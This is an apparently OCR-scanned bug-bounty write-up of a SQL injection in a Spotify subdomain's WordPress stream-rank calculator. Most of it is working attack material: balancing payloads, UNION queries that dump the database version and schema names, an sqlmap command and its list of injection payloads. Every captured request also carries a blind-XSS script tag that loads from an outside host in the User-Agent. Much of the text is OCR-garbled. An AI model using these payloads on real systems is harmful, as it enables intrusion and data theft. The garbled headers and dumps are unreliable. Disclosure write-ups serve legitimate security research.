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Hey Folks, today | will talk about one of my findings at Spotify. In this blog post, we will talk about SQL Injection. |
discovered it on 9th May 2021.

First, | advise anyone who wants to know first about SQL Injection and how to detect and exploit it in more detail to

check this resource

Let’s get started...



https://portswigger.net/web-security/sql-injection

Simple Methodology

Let me declare the methodology which we will use to detect and exploit the bug.

1. Try to inject some malicious characters like ' \ / to check if the response changed, or you gained a SQL

error.
At the backend, if you inject ' after the entered number. select random data From random table where
user_input='122'" and aykalam='1'; SO it will generate an error or the response will be different. And if you

managed to detect an error, try to balance the query by using the balancing characters like ' ') * ") "))

"))
2. Try to use order by and union queries if you didn’t gain error or change in the response.

3. Try to use blind commands like sieep command and check the response time and response behavior

The vulnerability details

The vulnerable subdomain is one of subdomains which listed on the program policy page. It’s based on WordPress.

After navigating and testing every function, | found this one, which asks the user to enter a random number larger
than 100.



Enter any monthly listener count for an artist or all-time stream count for a song

to estimate how each number compares to all artists and songs on Spotify.

Track Streams Monthly Listeners

122

Compare Numbers

I’'ve entered 122 and checked the request in the proxy to found this response.



Co Cancel <|* >|r Target: hteps:/ /D otify.com /@

Request Response
Raw | Params | Headers | Hex Raw Hex | Render
POST /wp-admin/admin-ajax.php HTTP/1.1 N HTTP/1.1 200 OK i
Host: (Y- ot ify . com - Content-Type: text/html; charset=UTF-8 -
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:88.0) "></secript><script Vary: Accept-Encoding
src=https://0xeslamakl.xss. ht>~f.-fscnpt)Geckc.-"20100101 Firefox/88.0 Access-Control-Allow-Origin: https://EEP-potify . com
Accept: application/json, text/javascript, */*; g=0.01 Access-Control-Allow-Credentials: true
Accept-Language: en-US,ar;gq=0.7,en;g=0.3 X-Robots-Tag: noindex
RAccept-Encoding: gzip, deflate X-Content-Type-Options: nosniff
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT
X-Requested-With: XMLHttpRequest Cache-Control: no-cache, must-revalidate, max-age=0
Content-Length: 79 X-Frame-Options: SAMEORIGIN
Origin: https:// - ot ify . com Referrer-Policy: striet-origin-when-cross-origin
Connection: close

Referer: (N Date: Sun, 09 May 2021 02:46:34 GMT

ie: a=GAl.2 Server: Google Frontend
Connection: close
L . Content-Length: 52
Cache-Control: no-trans

’ [{"all_time_rank":"46530000", "track_streams”:"122"}]

action=search spotify ranks&calculator tablestrack streams "c alculator input=122 I

At the first glance, | didn’t know what that mean and what the returned response used for. But I’'m sure that the user

input deals with the database.
The request sent with the number 122 and asks the database to return values depending on this number.

By trying to use bad characters like \ after the number, the response changed.



Go Cancel < |r > |
Request

Raw | Params | Headers | Hex

POST /wp-admin/admin-ajax.php HTTP/1.1

Host: (ot ify . com

Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.12; rv:B8.0) "></seript><script
src=https://0xeslamakl.xss.ht></script>Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */+*; g=0.01
Accept-Language: en-US,ar;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 80

Origin: https://{ s ot ify . com

Connection: close

Referer: http:/ /I

Cookie:

_gel_au
Jctr=1|_’l
Cache-Control: no-transiorm

action=search_spotify ranks&calculator_ table=track streams}calculator_input=122\I

Well, let’s try to balance the query. I’'ve tried multiple characters. The right balance will dump all the database.

calculator_input=122"' and 100=100-- - "Failed"
calculator_input=122" and 100=100-- - "Failed"
calculator_input=122") and 100=100-- - "Failed"
calculator_input=122") and 100=100-- - "Failed"

calculator_input=122 and 100=100-- - "Successed"

e

Target: https:/ /D spotify.com 2 (7)

Response

Raw [ Headers | Hex |

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Vary: Accept-Encoding

Access-Control-Allow-Origin: https:// R spotify . com
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex

X-Content-Type-Options: nosniff

Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN

Referrer-Policy: strict-origin-when-cress-origin

Date: Sun, 09 May 2021 02:45:50 GMT
Server: Google Frontend

Connection: close

Content-Length: 2

T




Go Cancel <|w >|r

Request

Raw | Params | Headers | Hex

POST /wp-admin/admin-ajax.php HTTP/1.1

Host: potify.com

Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:88.0) "></seript><secript
sre=https://Oxeslamakl.xss.ht></script>Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; g=0.01

Accept-Language: en-US,ar;g=0.7,en;g=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 95

Origin: https:/ASEEEE=potify . com

Connection: close

Referer:

Cookie:
_gcl_au=1
_sctr=1|1
Cache-Control: no-transform

= h_spotify ranksécalculator_table=track streamsfcalculator_input=122+and+ |
+

100=10

@ T T T Type a search term

Done

T

Ly

0 matches

calculator_input=122 UNION ALL SELECT NULL,version()-- -

Target: hups: S spotify.com 2 (7)

Response

- Hex | Render I

HTTP/1.1 200 OK N
Content-Type: text/html; charset=UTF-8

Vary: Accept-Encoding

Access-Control-Allow-Origin: https:// (P :rotify . com
Access-Control-Allow-Credentials: true

X-Robots-Tag: noindex

X-Content-Type-Options: nosniff

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN

Refer:rer-}?olici : strict-ori iin-when-cmss-orliin

Date: Sun, 09 May 2021 02:47:32 GMT
Server: Google Frontend
Connection: close

Content-Length: 11731

[{"all time rank":"46530000","track streams":"122"},{"all time rank":"46540000","tra
ck_streams”:"122"},{"all_time rank":"46550000","track_streams”:"122"},{"all_time ra
nk”:"46560000", "track_streams”:"122"},{"all_time_rank”:"46570000", "track_streams’:"

122 }:{"all_time ranx":"iuaoooo",'txack_stream":"J.zz“},{"au_t..ine_rank":‘16590000
", "track_streams": 22"} {"all_time rank":"46600000","track_streams”:"122"},{"all_t
ime ) rank +"46610000", "track_: streams” : 122 },{"all_time : rank": 46620000 “track_stre
ams”:"1217},{"all_t :im rank : 466300007, "track_streams”:"121"},{"all_{ |:l.me rank 746
610000 , "track_t streans 121 }o{"all_time : rank :"46650000", "track_streams”: 121 ted
"all_time ranh t 46660000 , "track_streams” 121 }o{"all_time_ ranu :"46670000", "trac
k_: streams :I.ZI. }e{"all_time_: rank”: 'ISGBDDUU ,track_ streams”:"121" }.{"all_time_ran
K" :" ", "track_: Tiv121" }.{"all_time rank""‘lﬁ?DDDDD" “track_streams”:"1
21"}, ("all_time_rank™:"46710000", “track_streams :"121"},{"all tina rank' “46720000"

,“track_streams”:"120"},{"all_time_rank :"46730000", “track_ treans “1207},{"all_ti
me_rank” :"46740000", "track_streams”:"120"},{"all_time_rank":" 46?50000 s "track_strea
ns”:”lzo”},{"al.]._:l.ne_rank":"ds:#soool)","t:ack streams”:"120"}, {"all_time_rank":"467
70000", "track_streams”:"120"},{"all_time_rank 46780000", "track_streams”:"120"},{"
:"120"},{"all_time rank”:"46800000","track
"46810000", "track reams“:"120"},{"all_time rank ol
“all time rank 46R3INOO0 track streams™:"11 3

0 matches

"4RA20000" . "1

@ Type a search term

12,311 bytes | 1,017 millis

After that, | tried to get the database name and its version. So, | used union queries to get them.



Go Cancel < |* >

Request

IM Params | Headers Hexl

Target: hups:/ s potify.com ~ (7)

Response

| Raw I Headers | Hex | Render

POST /wp-admin/admin-ajax.php HTTP/1.1

Host: spotify.com

Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:88.0) "></script><secript
sre=https://0Oxeslamakl.xss.ht></script>Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,ar;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-wwu-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 117

Origin: https:/ (- rotify . com

Connection: close

Referer:
Cookie: _g 46;
_scid=509b4 - —

“gat_UA-167819270-10=1
Cache-Control: no-transform

action=search_spotify_ ranks&calculator_table=track _streama&calculator_inpul{-122+UNION4A.LL—SELECT+ML. version( !--"'I

Te

@ < lLJ u Type a search term

Done

Also, to dump the schema, I’'ve used the following payload

-
v

0 matches

4900007, "track_streams : 103"}, { all_time_rank  : 4850
0000", "track_streams”:"103"},{"all_time rank™:"485100
00", "track_streams”:"103"},{"all_time_rank”:"48520000
“,“track_streams”:"103"},{"all_time_rank":"48530000",
“track streams":"103"},{"all time rank”:"48540000","t
rack_streams”:"103"},{"all_time_rank":"48550000", "tra
ck_streams”:"103"},{"all_time rank":"48360000","track

urem' “103"},{"all_ :.\.le rank”: "48570000" tra.t:k_s
treams“:“103" }o{"all_ r.i.m rank”: 48580000 . "r.rm:k_sr.r
eams”:"103"},{"al l_tl.m_rmk" : “48590000°, "track_strea
ms":"103"}, {"all_time_rank”:"48600000", "track_streams
":71027},{"all_time_rank”:"48610000", track_streams":
“102"},{"all_time rank":“48620000","track_streams”:"l
027},{"al l._tl,ae_raak' +"48630000", "track_streams”

“}io{"all_time rm “48640000", "track_streams
,( all_time rank” 48650000 +“track_streams

“all_time_rank": -ISEEDDM ,“track_streams”
11 t.lm rank”:"48670000" trnl:k_stram' 1"102°),{"all
_time_rank”:"48680000", ":nck_unm' £7102"}, {"all_t
ime_rank”:"486900007, "track_streams”:"102"},{"all_tim
e_rank”:"48700000", "track_streams”:"102"},{"all_time_
rank”:"48710000", "track_streams”:"102"},{"all_time_ra
nk":"48720000", "track_streams”: 1017}, {"all_time_ rank
“:"48730000", "track_streams":"101"},{"all_time rank":
“48740000°, "track_streams”:"101"},{"all_time rank
8750000", “track_streams”:"101"},{"all_time_rank
60000, "track_streams”:"101"},{"all_time_rank
000", "track_streams”:"101"},{"all_time_rank”:" 4878000
o, “trm_streans“ :"1017},{ all_t l.ne_rm“ :"48790000"
s “track_streams”:"101"},{"all_time_rank" 48300000" "
track_ streams”: 101 }.{"all_ t!.ﬂ rank": 15810000 er
ack_streams”:"101"},{"all_time_rank":"48820000", “trac
k. 11_time_rank”:null,”track_stream

e

v

@ < + = Type a search term 0 matches

12,366 bytes | 730 millis

calculator_input=122 UNION ALL SELECT NULL,CONCAT(schema_name) from information_schema.schemata-- -



sqlmap -r request.txt --level 3 --risk 1 --batch

Go Cancel <|r >
Request
Raw | Params | Headers | Hex

Target: hups:// N s potify.com o~ ®

Response

Raw | Headers IHex IRender

POST /1 dmin/admin-ajax.php HTTP/1.1

Host: spotify.com

Mozilla/5.0 (Macintos! Intel Mac OS5 X 10.12; rv:88.0) "></script><script
sre=https://0xeslamakl.xss.ht></seript>Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; g=0.01
Accept-Language: en-US,ar;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
A-Requested-With: XMLHttpRequest

Content-Length: 158

origin: https:/SEEEP--otify.com

Connection: close

Referer:

Cookie:

_seid=50
“gat_UA-167819270-10=1
Cache-Control: no-transform

action=search_spotify_ranks&calculator_table=track_streams&calculator_input=122+UNION+ALL+SELECT+NULL, concat (schem
a_name)+FROM+information_schema.schemata--+-

@ < + > | Type a search term

Done

Enough working manually and let’s use SQLmap

--dbms="MySql"

&
-

a¥

0 matches

"track_streams”:"1037},{"all_time_rank”:"48540000,"t
rack_streams”:"103"},{"all_time_rank": 48550000, tra
ck_streams”:"103"}, {"all_time rank":"48560000", "track
_streams”:"103"},{"all_time_rank":"48570000", "track_s
treams”:“103"},{ all_time_rank":“48580000", "track_str
eams"”:"103"},{"all_time rank":"48590000","track_strea
ms":"103"},{"all time rank":"4 ", "track_s
":1"102"},{"all_time_rank":"48610000", track_streams”:
"102"},{"all_time_rank":"48620000","track_streams":"1
02"},{"all_time_rank":"48630000","track_streams":"102
“},{"all_time_rank":"48640000", "track_streams”:"102"}
({"all_time rank":"48650000","track_streams”
“all_time_rank”:"48660000", "track_streams”:"102"},{"a
11_time rank”:"48670000","track_streams”:"102"},{"all
_time_rank”:"48680000","track_streams":"102"},{"all_t
ime_rank”:"48690000", "track_streams
e_rank”:“48700000°, “track_streams”:
":"48710000", "track_streams”:"102"},{"all_time ra
":"48720000", "track_streams”:"101"},{"all_time_rank
:"48730000", "track_streams”:"101"},{"all_time_rank":
"48740000", "track_streams”:"101"},{"all_time ramnk":"4
8750000", "track_streams” 01"}, {"all_time_ rank":"487
60000", "track streams”:"101"},{"all time rank":"48770
000", "track_streams”:"101"},("all_time_rank”:" 4878000
0", "track_streams”:"101"},{"all_time_rank”:"48790000"
,'track_streams”:"1017},{"all_time_rank":"48800000","
track_streams”:"101"},{"all_time rank":"48810000","tr
ack_streams”:"101"},{"all_time_rank":"48820000", "trac
k_streams”:"101"},{"all_time rank":null,"track_stream
s":"information_schema”},{"all_time rank”:null,"track
_Streams”:"mysql”},{"all_time_rank"”:null, "track_strea
“:"performance schema“},{"all_time_rank”:null, “trac
sys"},{"all_time rank":null,"track_ stream

wordpress )

@ < + | > Type a search term

"
-

v

0 matches

12,574 bytes | 1,048 millis



sqlmap identified the following injection point(s) with a total of 78 HTTP(s) requests:

Parameter: calculator_input (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=search_spotify_ranks&calculator_table=track_streams&calculator_input=122 AND 5175=5175

Type: AND/OR time-based blind
Title: MySQL >= ° 2 AND time-based blind
Payload: action=search_spotify_ranks&calculator_table=track_streams&calculator_input=122 AND SLEEP(5)

Type: UNION query
Title: Generic UNION gquery (NULL) - 2 columns

Payload: action=search_spotify_ranks&calculator_table=track_streams&calculator_input=122 UNION ALL SELECT CONCAT(@x716bé6b6271,0x6558666c795
86278576a7a4969496948B6a43684c524a4144514171576564734e4364616443767168,0x7170766b71) ,NULL-- KexZ

[#] shutting down at 83:21:14

Every thing works fine :)

Finally!! Spotify Injected Successfully &







